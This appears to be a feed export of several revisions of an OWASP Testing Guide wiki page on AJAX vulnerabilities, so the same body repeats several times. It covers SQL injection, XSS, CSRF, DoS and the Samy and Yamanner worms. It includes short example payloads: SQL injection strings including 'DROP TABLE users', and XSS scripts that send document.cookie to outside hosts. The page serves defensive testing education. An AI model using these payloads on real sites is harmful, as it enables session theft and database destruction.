Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More on SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Denial of Service is an old attack where an attacker or vulnerable application force the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using image tags nested within a JavaScript loop can do the trick more effectively. AJAX being on the client-side makes the attack easier.&amp;lt;pre&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
'''Charles''' &amp;lt;br&amp;gt; An HTTP proxy/monitor/Reverse Proxy that enables viewing all HTTP traffic between browser and the Internet, including requests, responses and HTTP headers (which contain the cookies and caching information). Capabilities include HTTP/SSL and variable modem speed simulation. Useful for XML development in web browsers, such as AJAX (Asynchronous Javascript and XML) and XMLHTTP, as it enables viewing of actual XML between the client and the server. Can autoconfigure browser's proxy settings on MSIE, Firefox, Safari. Java application from XK72 Ltd.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''' Ghost Train'''&amp;lt;br&amp;gt;Ghost Train is a tool to ease the development of functional tests for web sites. It’s a event recorder, and test generating and replaying add-on you can use with any web application.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Squish/Web (froglogic)'''&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.froglogic.com/squish Squish] is an automated, functional testing tool. It allows to record, edit and run web tests in different browsers (IE, Firefox, Safari, Konqueror, etc.) on different platforms without having to modify the test scripts. Supports different scripting languages for tests.&lt;br /&gt;
&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
*[http://en.wikipedia.org/wiki/AJAX AJAX]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11897</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11897"/>
				<updated>2006-11-06T18:44:50Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Black Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More on SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Denial of Service is an old attack where an attacker or vulnerable application force the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using image tags nested within a JavaScript loop can do the trick more effectively. AJAX being on the client-side makes the attack easier.&amp;lt;pre&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
'''Charles''' &amp;lt;br&amp;gt; An HTTP proxy/monitor/Reverse Proxy that enables viewing all HTTP traffic between browser and the Internet, including requests, responses and HTTP headers (which contain the cookies and caching information). Capabilities include HTTP/SSL and variable modem speed simulation. Useful for XML development in web browsers, such as AJAX (Asynchronous Javascript and XML) and XMLHTTP, as it enables viewing of actual XML between the client and the server. Can autoconfigure browser's proxy settings on MSIE, Firefox, Safari. Java application from XK72 Ltd.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''' Ghost Train'''&amp;lt;br&amp;gt;Ghost Train is a tool to ease the development of functional tests for web sites. It’s a event recorder, and test generating and replaying add-on you can use with any web application.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
*[http://en.wikipedia.org/wiki/AJAX AJAX]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11894</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11894"/>
				<updated>2006-11-06T18:27:24Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Black Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
